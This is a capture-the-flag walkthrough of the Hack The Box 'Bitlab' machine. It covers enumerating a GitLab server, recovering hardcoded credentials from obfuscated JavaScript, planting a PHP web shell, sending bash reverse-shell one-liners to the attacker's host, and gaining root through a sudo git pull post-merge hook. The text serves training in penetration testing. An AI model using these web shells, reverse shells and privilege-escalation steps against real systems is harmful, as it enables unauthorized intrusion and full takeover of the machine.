Previous Page

nihilist - 29 / 04 / 2020

Bitlab Writeup

Introduction :



Bitlab is a Medium linux box released back in September 2019.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.



  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
  → sudo nmap -vvv -sTU -p- 10.10.10.114 --max-retries 0 -Pn --min-rate=500 | grep Discovered
  [sudo] password for nothing:
  Discovered open port 80/tcp on 10.10.10.114
  Discovered open port 22/tcp on 10.10.10.114

  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
  → nmap -sCV -p22,80 10.10.10.114
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-29 17:43 BST
  Nmap scan report for 10.10.10.114
  Host is up (0.091s latency).

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey:
  |   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
  |   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
  |_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
  80/tcp open  http    nginx
  | http-robots.txt: 55 disallowed entries (15 shown)
  | / /autocomplete/users /search /api /admin /profile
  | /dashboard /projects/new /groups/new /groups/*/edit /users /help
  |_/s/ /snippets/new /snippets/*/edit
  | http-title: Sign in \xC2\xB7 GitLab
  |_Requested resource was http://10.10.10.114/users/sign_in
  |_http-trane-info: Problem with XML parsing of /evox/about
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 12.18 seconds

Part 2 : Getting User Access



Our nmap scan picked up port 80 running nginx so let's check it out:

So here we can see a gitlab login page which is essentially a way to manage git repos in a more private manner than using a standard github repository. However our nmap scan also picked up some interesting stuff hinting us towards robots.txt so we check it out:



  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
  → curl -sk http://10.10.10.114/robots.txt
  # See http://www.robotstxt.org/robotstxt.html for documentation on how to use the robots.txt file
  #
  # To ban all spiders from the entire site uncomment the next two lines:
  # User-Agent: *
  # Disallow: /

  # Add a 1 second delay between successive requests to the same server, limits resources used by crawler
  # Only some crawlers respect this setting, e.g. Googlebot does not
  # Crawl-delay: 1

  # Based on details in https://gitlab.com/gitlab-org/gitlab-ce/blob/master/config/routes.rb, https://gitlab.com/gitlab-org/gitlab-ce/blob/master/spec/routing, and using application
  User-Agent: *
  Disallow: /autocomplete/users
  Disallow: /search
  Disallow: /api
  Disallow: /admin
  Disallow: /profile
  Disallow: /dashboard
  Disallow: /projects/new
  Disallow: /groups/new
  Disallow: /groups/*/edit
  Disallow: /users
  Disallow: /help
  # Only specifically allow the Sign In page to avoid very ugly search results
  Allow: /users/sign_in

  # Global snippets
  User-Agent: *
  Disallow: /s/
  Disallow: /snippets/new
  Disallow: /snippets/*/edit
  Disallow: /snippets/*/raw

  # Project details
  User-Agent: *
  Disallow: /*/*.git
  Disallow: /*/*/fork/new
  Disallow: /*/*/repository/archive*
  Disallow: /*/*/activity
  Disallow: /*/*/new
  Disallow: /*/*/edit
  Disallow: /*/*/raw
  Disallow: /*/*/blame
  Disallow: /*/*/commits/*/*
  Disallow: /*/*/commit/*.patch
  Disallow: /*/*/commit/*.diff
  Disallow: /*/*/compare
  Disallow: /*/*/branches/new
  Disallow: /*/*/tags/new
  Disallow: /*/*/network
  Disallow: /*/*/graphs
  Disallow: /*/*/milestones/new
  Disallow: /*/*/milestones/*/edit
  Disallow: /*/*/issues/new
  Disallow: /*/*/issues/*/edit
  Disallow: /*/*/merge_requests/new
  Disallow: /*/*/merge_requests/*.patch
  Disallow: /*/*/merge_requests/*.diff
  Disallow: /*/*/merge_requests/*/edit
  Disallow: /*/*/merge_requests/*/diffs
  Disallow: /*/*/project_members/import
  Disallow: /*/*/labels/new
  Disallow: /*/*/labels/*/edit
  Disallow: /*/*/wikis/*/edit
  Disallow: /*/*/snippets/new
  Disallow: /*/*/snippets/*/edit
  Disallow: /*/*/snippets/*/raw
  Disallow: /*/*/deploy_keys
  Disallow: /*/*/hooks
  Disallow: /*/*/services
  Disallow: /*/*/protected_branches
  Disallow: /*/*/uploads/
  Disallow: /*/-/group_members
  Disallow: /*/project_members

Unfortunately this is most likely a rabbithole so instead let's view the timestamps of any file hosted on this nginx instance, using wget and exiftool:



  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
  → curl -sk http://10.10.10.114
  You are being redirected.
  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
  → curl -sk http://10.10.10.114/users/sign_in | grep href
  
  
  
  
  
  
  
  
  
  Forgot your password?
  Explore
  Help
  About GitLab

  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
  → wget http://10.10.10.114/assets/logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg
  --2020-04-29 17:52:22--  http://10.10.10.114/assets/logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg
  Connecting to 10.10.10.114:80... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 2475 (2.4K) [image/svg+xml]
  Saving to: ‘logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg’

  logo-d36b5212042cebc89b96df4bf6ac24e43d 100%[===============================================================================>]   2.42K  --.-KB/s    in 0s

  2020-04-29 17:52:22 (66.5 MB/s) - ‘logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg’ saved [2475/2475]


  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
  → exiftool logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg
  -bash: exiftool: command not found

  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB]
  → exiftool logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg
  ExifTool Version Number         : 11.94
  File Name                       : logo-d36b5212042cebc89b96df4bf6ac24e43db316143e89926c0db839ff694d2de4.svg
  Directory                       : .
  File Size                       : 2.4 kB
  File Modification Date/Time     : 2018:12:29 10:18:08+00:00
  File Access Date/Time           : 2020:04:29 17:52:22+01:00
  File Inode Change Date/Time     : 2020:04:29 17:52:22+01:00
  File Permissions                : rw-r--r--
  File Type                       : SVG
  File Type Extension             : svg
  MIME Type                       : image/svg+xml
  Image Width                     : 210
  Image Height                    : 210
  View Box                        : 0 0 210 210
  SVG Version                     : 1.1
  Xmlns                           : http://www.w3.org/2000/svg
  Title                           : Slice 1
  Desc                            : Created with Sketch.
  Image Size                      : 210x210
  Megapixels                      : 0.044

And here we see that this file has a file modification date of december 2018 so if we were to look for public exploits, we would need to look for exploits that have been published after this date for them to be relevant on this box. One sidenote is, that you should use wget in this instance instead of downloading it through firefox because firefox will invariably timestamp the file you download. So in order to enumerate the webserver further we'll use gobuster:


  [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/_HTB/Bitlab]
  → gobuster dir -u http://10.10.10.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 50
  ===============================================================
  Gobuster v3.0.1
  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
  ===============================================================
  [+] Url:            http://10.10.10.114
  [+] Threads:        50
  [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  [+] Status codes:   200,204,301,302,307,401,403
  [+] User Agent:     gobuster/3.0.1
  [+] Timeout:        10s
  ===============================================================
  2020/04/29 17:58:44 Starting gobuster
  ===============================================================
  Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.114/ebf2edd7-9c49-43ec-8782-b6f64e0293e2 => 302. To force processing of Wildcard responses, specify the '--wildcard' switch

Here we see that gobuster hits a 302 status code which is an URL redirection status code The problem is that gobuster has no way of detecting this so we'll use burpsuite instead:

Send it over to the repeater:

And there we can see that we are being redirected if we try to reach a page that doesn't exist so from here we have to specify which status codes we want from our gobuster scan using the -s scan:




  [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/_HTB/Bitlab]
  → gobuster dir -u http://10.10.10.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 50 -s  200,204,301,307,401,403
  ===============================================================
  Gobuster v3.0.1
  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
  ===============================================================
  [+] Url:            http://10.10.10.114
  [+] Threads:        50
  [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  [+] Status codes:   200,204,301,307,401,403
  [+] User Agent:     gobuster/3.0.1
  [+] Timeout:        10s
  ===============================================================
  2020/04/29 18:26:47 Starting gobuster
  ===============================================================
  /help (Status: 301)
  /profile (Status: 301)
  /search (Status: 200)
  /public (Status: 200)
  /root (Status: 200)
  /explore (Status: 200)
  /ci (Status: 301)
  Progress: 5257 / 220561 (2.38%)

Almost immediately gobuster finds a few interesting webpages, the first one we'll check here is /help:

Here we see something interesting which is that the Gitlab Login link is in fact just a bunch of javascript , so we can copy the link :


  javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

Which seems to be some javascript obfuscated code, so we can use some javascript prettifier to make it readable, but we can do the same from inside our terminal using vim's :%s function


  :%s/;/\r/g

This is so in order to change the \r into newlines:

Then we'll use the firefox developer console to de-obfuscate this javascript:

So here we see some credentials: clave:11des0081x, now we can obviously de-obfuscate the other 2 lines with this deobfuscated javascript array which contains all the info we need:


  function(){
          0: "value"
          1: "user_login"
          2: "getElementById"
          3: "clave"
          4: "user_password"
          5: "11des0081x"

          document[getElementById](user_login)[value]= "clave"
          document[getElementById](user_password)[value]= "11des0081x"
   })()

These are basically some hardcoded javascript credentials, this is sadly a technique used by many companies to this day which, if you de-obfuscate their javascript code you may reveal some sensitive information which should simply not happen, obviously we can see the values 1 and 4 in the sign_in page:

The idea behind this javascript is that whoever did this could simply bookmark it and it would basically autocomplete for them. Obviously just purely obfuscating such javascript is not going to make it secure in any sense, so let's login :

So once logged in we get a dashboard but on a side note, we get a particular cookie, and if we look at gobuster's options, we see that we can specify a cookie string:



  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab]
  → gobuster dir --help | grep cookie
    -c, --cookies string                Cookies to use for the requests

So we take the cookie from here (F12 > Storage > cookies > _gitlab_session) and give it to gobuster:


  gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8

And now with this authenticated cookie, gobuster is able to find some more files,


  [ 10.10.14.11/23 ] [ /dev/pts/4 ] [~/_HTB/Bitlab]
  → gobuster dir -u http://10.10.10.114 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -t 50 -s  200,204,301,307,401,403 -c "_gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8"
  ===============================================================
  Gobuster v3.0.1
  by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
  ===============================================================
  [+] Url:            http://10.10.10.114
  [+] Threads:        50
  [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
  [+] Status codes:   200,204,301,307,401,403
  [+] Cookies:        _gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8
  [+] User Agent:     gobuster/3.0.1
  [+] Timeout:        10s
  ===============================================================
  2020/04/29 19:14:19 Starting gobuster
  ===============================================================
  /help (Status: 301)
  /profile (Status: 301)
  /search (Status: 200)
  /public (Status: 200)

so looking at the dashboard:

Heading over there, settings are just a broken page, however when we head over to the profile page we see the timestamp we got earlier using wget and exiftool:

Heading over to snippets, we see some postgresql database credentials

So we could use those credentials, but first let's head over to the administrator profile gitlab webpage and we could potentially check it's history for interesting commits but there's not so much to see here.

So let's take a look at the other gitlab user which is "deployer" which has an interesting index.php file:

This basically tells us that a potential www-data user can execute a git pull command as the root user on this index.php And we also know that git has got a bunch of POST hook commands which allows you to do git push, merge, clone etc. So since we are logged in as the "clave" user we can create a new branch, and place our reverse php shell there, and hopefully get a shell onto the box, the problem is that we don't know which php commands are blacklisted most importantly the system command, the file_get_contents commands, the exec(); commands and so on. so we want to add a simple echo statement at the beginning to make sure our php file is being executed:


<?php
  echo "nihilist";
  system($_REQUEST['pr0metheus']);
?>

This php file we created should get merged on the master branch as we have been hinted to do so earlier on:

Merge the request to the master branch, and go there, you should see our reverse php shell there:

So once it's uploaded we can simply try to execute commands with it :



  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab]
  → curl -sk http://10.10.10.114/profile/reverse.php
  nihilist
Notice: Undefined index: pr0metheus in /var/www/html/profile/reverse.php on line 3

Warning: system(): Cannot execute a blank command in /var/www/html/profile/reverse.php on line 3
[ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab] → curl -sk http://10.10.10.114/profile/reverse.php?pr0metheus=id nihilistuid=33(www-data) gid=33(www-data) groups=33(www-data)

So here we can see that we have some Remote Code Execution as www-data,



  [ 10.10.14.11/23 ] [ /dev/pts/2 ] [~/_HTB/Bitlab]
  → curl -sk http://10.10.10.114/profile/reverse.php?pr0metheus=bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1'
  nihilist

Now here the problem is that even though with a ncat listener , we don't get a reverse shell connection, that is because we are doing a GET request with curl, so instead we'll go for the POST request alternative:

Once we interecepted our request and sent it to the repeater (CTRL+R) and went there (CTRL+SHIFT+R) we'll then change the request to a post request, (right click > "change request method") and paste a bash reverse shell one liner as our pr0metheus variable which gives us the following request:


  POST /profile/reverse.php HTTP/1.1
  Host: 10.10.10.114
  User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  DNT: 1
  Connection: close
  Cookie: _gitlab_session=f06332b0a90aebcab0245f5e0e4de0e8; sidebar_collapsed=false; event_filter=all
  Upgrade-Insecure-Requests: 1
  Cache-Control: max-age=0
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 66

  pr0metheus=bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1'

And obviously do not forget to url encode the highlighted line which is our reverse shell one liner:

And we get a reverse shell ! Now let's upgrade it to a fully interactive reverse shell:



  [ 10.10.14.11/23 ] [ /dev/pts/7 ] [~]
  → nc -lvnp 9001
  listening on [any] 9001 ...
  connect to [10.10.14.11] from (UNKNOWN) [10.10.10.114] 40284
  bash: cannot set terminal process group (1107): Inappropriate ioctl for device
  bash: no job control in this shell
  www-data@bitlab:/var/www/html/profile$ which python
  which python
  /usr/bin/python
  www-data@bitlab:/var/www/html/profile$ python -c 'import pty;pty.spawn("/bin/bash")'
  www-data@bitlab:/var/www/html/profile$ ^Z
  [1]+  Stopped                 nc -lvnp 9001

  [ 10.10.14.11/23 ] [ /dev/pts/7 ] [~]
  → stty raw -echo

  [ 10.10.14.11/23 ] [ /dev/pts/7 ] [~]
  → nc -lvnp 9001
                 reset
  reset: unknown terminal type unknown
  Terminal type? ^C
  www-data@bitlab:/var/www/html/profile$ export SHELL=bash
  www-data@bitlab:/var/www/html/profile$ export TERM=xterm-256color
  www-data@bitlab:/var/www/html/profile$ l
  Display all 103 possibilities? (y or n)
  www-data@bitlab:/var/www/html/profile$ ls
  .git/          README.md      index.php
  .htaccess      developer.jpg  reverse.php

What we did here was:


-get the reverse shell connection
-check if python was there on the box
-spawn a tty shell using python's pty library
-backgrounding our shell process (CTRL+Z)
-typing "stty raw -echo"
-typing "fg" which puts our shell process back in the foreground
-typing in "reset"
-responding with a CTRL+C to the unexpected "Terminal type ?" question
-exporting both our SHELL and TERM variables

And from there we have our fully interactive reverse shell as www-data.

Part 3 : Getting Root Access



Now that we have our fully interactive reverse shell as www-data, we can start poking around the box some more:



  www-data@bitlab:/var/www/html/profile$ ls
  .git/          README.md      index.php
  .htaccess      developer.jpg  reverse.php
  www-data@bitlab:/var/www/html/profile$ cat /etc/hosts
  127.0.0.1       localhost
  127.0.1.1       bitlab  bitlab

  # The following lines are desirable for IPv6 capable hosts
  ::1     localhost ip6-localhost ip6-loopback
  ff02::1 ip6-allnodes
  ff02::2 ip6-allrouters

  www-data@bitlab:/var/www/html/profile$ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  bin:x:2:2:bin:/bin:/usr/sbin/nologin
  sys:x:3:3:sys:/dev:/usr/sbin/nologin
  sync:x:4:65534:sync:/bin:/bin/sync
  games:x:5:60:games:/usr/games:/usr/sbin/nologin
  man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
  lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
  mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
  news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
  uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
  proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
  www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
  backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
  list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
  irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
  gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
  nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
  systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
  systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
  syslog:x:102:106::/home/syslog:/usr/sbin/nologin
  messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
  _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
  lxd:x:105:65534::/var/lib/lxd/:/bin/false
  uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
  dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
  landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
  pollinate:x:109:1::/var/cache/pollinate:/bin/false
  statd:x:110:65534::/var/lib/nfs:/usr/sbin/nologin
  sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
  vboxadd:x:999:1::/var/run/vboxadd:/bin/false
  clave:x:1000:1000::/home/clave:/bin/bash

  www-data@bitlab:/var/www/html/profile$ ls -lash /home
  total 12K
  4.0K drwxr-xr-x  3 root  root  4.0K Feb 28  2019 .
  4.0K drwxr-xr-x 24 root  root  4.0K Dec 31  2018 ..
  4.0K drwxr-xr-x  4 clave clave 4.0K Aug  8  2019 clave

Apparently clave is the only user on this box so we have to find a way to privesc to him. However let's not forget, earlier on we saw the php script which could execute a git pull command as root from a potentially low privilege user such as www-data, so we run sudo -l to check if it is true:



  www-data@bitlab:/var/www/html/profile$ sudo -l
  Matching Defaults entries for www-data on bitlab:
      env_reset, exempt_group=sudo, mail_badpass,
      secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

  User www-data may run the following commands on bitlab:
      (root) NOPASSWD: /usr/bin/git pull

So it looks like we were right, now we just have to head over to the .git directory and find the hook directory



  www-data@bitlab:/var/www/html/profile$ ls -lash
  total 124K
  4.0K drwxr-xr-x 3 root root 4.0K Apr 29 18:58 .
  4.0K drwxr-xr-x 5 root root 4.0K Jul 30  2019 ..
  4.0K drwxr-xr-x 8 root root 4.0K Apr 29 18:58 .git
  4.0K -rw-r--r-- 1 root root   42 Feb 26  2019 .htaccess
  4.0K -rw-r--r-- 1 root root  110 Jan  4  2019 README.md
   92K -rw-r--r-- 1 root root  91K Jan  5  2019 developer.jpg
  8.0K -rw-r--r-- 1 root root 4.1K Jan  4  2019 index.php
  4.0K -rw-r--r-- 1 root root   61 Apr 29 18:58 reverse.php
  www-data@bitlab:/var/www/html/profile$ cd .git
  www-data@bitlab:/var/www/html/profile/.git$ ls -lash
  total 60K
  4.0K drwxr-xr-x  8 root root 4.0K Apr 29 18:58 .
  4.0K drwxr-xr-x  3 root root 4.0K Apr 29 18:58 ..
  4.0K -rw-r--r--  1 root root  317 Apr 29 18:58 FETCH_HEAD
  4.0K -rw-r--r--  1 root root   23 Jan  4  2019 HEAD
  4.0K -rw-r--r--  1 root root   41 Apr 29 18:58 ORIG_HEAD
  4.0K drwxr-xr-x  2 root root 4.0K Jan  4  2019 branches
  4.0K -rw-r--r--  1 root root  266 Jan  4  2019 config
  4.0K -rw-r--r--  1 root root   73 Jan  4  2019 description
  4.0K drwxr-xr-x  2 root root 4.0K Jan  4  2019 hooks
  4.0K -rw-r--r--  1 root root  369 Apr 29 18:58 index
  4.0K drwxr-xr-x  2 root root 4.0K Jan  4  2019 info
  4.0K drwxr-xr-x  3 root root 4.0K Jan  4  2019 logs
  4.0K drwxr-xr-x 31 root root 4.0K Apr 29 18:58 objects
  4.0K -rw-r--r--  1 root root  114 Jan  4  2019 packed-refs
  4.0K drwxr-xr-x  5 root root 4.0K Jan  4  2019 refs
  www-data@bitlab:/var/www/html/profile/.git$ cd hooks

Taking a look at the githooks manpage:


  man githooks

We are hinted towards creating a post-merge hook in this directory, so let's try to do so:



  www-data@bitlab:/var/www/html/profile/.git/hooks$ touch post-merge
  touch: cannot touch 'post-merge': Permission denied

  www-data@bitlab:/var/www/html/profile/.git/hooks$ ls -lash
  total 56K
  4.0K drwxr-xr-x 2 root root 4.0K Jan  4  2019 .
  4.0K drwxr-xr-x 8 root root 4.0K Apr 29 18:58 ..
  4.0K -rwxr-xr-x 1 root root  478 Jan  4  2019 applypatch-msg.sample
  4.0K -rwxr-xr-x 1 root root  896 Jan  4  2019 commit-msg.sample
  4.0K -rwxr-xr-x 1 root root 3.3K Jan  4  2019 fsmonitor-watchman.sample
  4.0K -rwxr-xr-x 1 root root  189 Jan  4  2019 post-update.sample
  4.0K -rwxr-xr-x 1 root root  424 Jan  4  2019 pre-applypatch.sample
  4.0K -rwxr-xr-x 1 root root 1.7K Jan  4  2019 pre-commit.sample
  4.0K -rwxr-xr-x 1 root root 1.4K Jan  4  2019 pre-push.sample
  8.0K -rwxr-xr-x 1 root root 4.8K Jan  4  2019 pre-rebase.sample
  4.0K -rwxr-xr-x 1 root root  544 Jan  4  2019 pre-receive.sample
  4.0K -rwxr-xr-x 1 root root 1.5K Jan  4  2019 prepare-commit-msg.sample
  4.0K -rwxr-xr-x 1 root root 3.6K Jan  4  2019 update.sample

And we get permission denied because everything in this directory is owned by the root user. However we can simply copy the profile folder elsewhere where we have writing access, such as /tmp, For this example we'll use the /dev/shm alternative



  www-data@bitlab:/var/www/html/profile/.git/hooks$ cd ..
  www-data@bitlab:/var/www/html/profile/.git$ cd ..
  www-data@bitlab:/var/www/html/profile$ cd ..
  www-data@bitlab:/var/www/html$ mdir /dev/shm/nowhere
  bash: mdir: command not found
  www-data@bitlab:/var/www/html$ mkdir /dev/shm/nowhere
  www-data@bitlab:/var/www/html$ cp -r profile/ /dev/shm/nowhere/
  www-data@bitlab:/var/www/html$ ls -lash /dev/shm
  total 0
  0 drwxrwxrwt  3 root     root       60 Apr 29 19:36 .
  0 drwxr-xr-x 19 root     root     3.9K Apr 29 08:15 ..
  0 drwxr-xr-x  3 www-data www-data   60 Apr 29 19:36 nowhere

And as you can see, since we copied the entire directory recursively it has not been able to preserve the root only writing rights, which means that us (www-data) can write to it. So let's do it:



  www-data@bitlab:/var/www/html$ cd /dev/shm/nowhere/
  www-data@bitlab:/dev/shm/nowhere$ cd .git/
  bash: cd: .git/: No such file or directory
  www-data@bitlab:/dev/shm/nowhere$ cd profile
  www-data@bitlab:/dev/shm/nowhere/profile$ cd .git
  www-data@bitlab:/dev/shm/nowhere/profile/.git$ cd hooks/
  www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ touch post-merge
  www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ chmod +x touch-merge
  chmod: cannot access 'touch-merge': No such file or directory
  www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ chmod +x post-merge
  www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ vi post-merge

And from there we can spawn a shell using vi:


  #!/bin/bash

  bash -c 'bash -i >& /dev/tcp/10.10.14.11/9002 0>&1'
  ~
  ~
  ~
  ~
  ~
  :wq

Save it, then execute said git pull to update the repository



  www-data@bitlab:/dev/shm/nowhere/profile/.git/hooks$ vi post-merge
  www-data@bitlab:/dev/shm/nowhere/profile$ clearooks$ cd ../..
  www-data@bitlab:/dev/shm/nowhere/profile$ ls
  README.md  developer.jpg  index.php  reverse.php
  www-data@bitlab:/dev/shm/nowhere/profile$ sudo git pull
  Already up to date.

Obviously there's nothing to pull, everything is already up to date, so we need to commit something:



  www-data@bitlab:/dev/shm/nowhere/profile$ sudo git pull
  Already up to date.
  www-data@bitlab:/dev/shm/nowhere/profile$ cat .git/config
  [core]
          repositoryformatversion = 0
          filemode = true
          bare = false
          logallrefupdates = true
  [remote "origin"]
          url = ssh://git@localhost:3022/root/profile.git
          fetch = +refs/heads/*:refs/remotes/origin/*
  [branch "master"]
          remote = origin
          merge = refs/heads/master

Looking at the .git/config file we see that it is running a ssh command on port 3022, which means that it doesn't matter if we copy the entire repository in an other directory, whatever has to get pulled will be pulled from the same place. And in this case; git@localhost:3022/root/profile.git So we just have to do a git pull, which will be executed as root, and hopefully we'll have root access on the box.


  [ 10.10.14.11/23 ] [ /dev/pts/6 ] [~]
  → nc -lvnp 9002
  listening on [any] 9002 ...
  connect to [10.10.14.11] from (UNKNOWN) [10.10.10.114] 35796
  root@bitlab:/dev/shm/nowhere/profile# id
  id
  uid=0(root) gid=0(root) groups=0(root)
  root@bitlab:/dev/shm/nowhere/profile# cat /home/clave/user.txt
  cat /home/clave/user.txt
  1eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  root@bitlab:/dev/shm/nowhere/profile# cat /root/root.txt
  cat /root/root.txt
  8dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! We have been able to print out both the user and the root flags.

Conclusion



Here we can see the progress graph :

Nihilism

Until there is Nothing left.



Creative Commons Zero: No Rights Reserved

About nihilist

Donate XMR: 8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8


Contact: nihilist@contact.nowhere.moe (PGP)